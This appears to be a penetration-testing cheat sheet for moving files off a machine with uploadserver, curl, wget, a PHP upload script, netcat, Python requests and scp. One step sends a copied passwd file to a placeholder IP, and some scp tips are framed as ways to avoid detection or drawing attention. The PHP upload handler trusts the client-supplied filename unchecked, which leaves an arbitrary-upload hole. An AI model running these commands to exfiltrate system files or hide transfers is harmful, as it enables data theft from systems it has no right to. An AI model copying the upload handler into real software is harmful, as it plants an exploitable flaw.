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We do not encourage any kind of illegal or harmful activity.

File Uploading Using Python and Curl

1. Install uploadserver:
   sudo python3 -m pip install --user uploadserver
2. Generate a self-signed certificate:
   openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
3. Create a directory for the HTTPS server:
   mkdir https && cd https
4. Start the upload server with HTTPS support:
   sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
5. Upload files using curl:
   curl -X POST https://hostname/upload -F 'files=@/path/to/file' --insecure

File Uploader on Apache Web Server

1. Create upload.php in /var/www/html/:

   <?php
   $uploaddir = '/var/www/uploads/';
   $uploadfile = $uploaddir . $_FILES['file']['name'];
   move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
   ?>
   

2. Create uploads directory and set ownership to www-data:
   mkdir /var/www/uploads && chown www-data:www-data /var/www/uploads

3. Upload a file using wget to the Python HTTP server:
   wget --post-file=/path/to/file http://[IP-ADRESS]/

4. Upload a file using wget to the Apache server with upload.php:
   wget --post-file=/path/to/file http://[IP-ADRESS]/upload.php

File Uploader Using SimpleHTTPServerWithUpload

1. Start an HTTP server to accept file uploads using the script from SimpleHTTPServerWithUpload:
   python3 SimpleHTTPServerWithUpload.py 80
2. Upload passwd file using curl:
   curl -F 'file=@/dev/shm/passwd' http://[IP-ADRESS]/

File Uploading Using Python Requests Module

1. Install the uploadserver package:
   pip3 install uploadserver
2. Start a Python upload server:
   python3 -m uploadserver
3. Upload a file:
   python3 -c 'import requests;requests.post("http://[IP-ADDRESS]:8000/upload",files={"files":open("/path/to/file","rb")})'

File Uploading Using Netcat

1. Start a netcat listener to receive file and save it as file.txt:
   nc -nvlp 9001 > file.txt
2. Send the file.txt to the receiving machine:
   nc [IP-ADDRESS] 9001 < file.txt

File Uploading Using SCP

1. TRANSFERRING FILES WITH A SPECIFIC SSH KEY:
   To use a specific SSH key for authentication, include the -i option. This is useful when dealing with multiple SSH keys or when the default key is not suitable for the connection.
   scp -i /path/to/private_key [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
2. USING NON-STANDARD PORTS:
   SSH servers often use non-standard ports for security purposes. Specify the port with the -P option to ensure successful connections.
   scp -P 2222 [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
3. VERBOSE MODE FOR DEBUGGING:
   Verbose mode provides detailed information about the SCP transfer process, which is invaluable for debugging connection issues.
   scp -v [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
4. LIMITING BANDWIDTH USAGE:
   To avoid detection or to manage network resources efficiently, you can limit the bandwidth usage during file transfer using the -l option (specified in kilobits per second):
   scp -l 1000 [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
5. TRANSFERRING ENTIRE DIRECTORIES:
   When you need to transfer entire directories, use the -r option to copy recursively. This ensures all files and subdirectories are included.
   scp -r [DIRECTORY-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
6. PRESERVING FILE ATTRIBUTES:
   To preserve file attributes such as modification times, access times, and modes, use the -p option:
   scp -p [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
7. QUIET MODE:
   To minimize output and avoid drawing attention, use the -q option for quiet mode. This suppresses non-error messages.
   scp -q [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination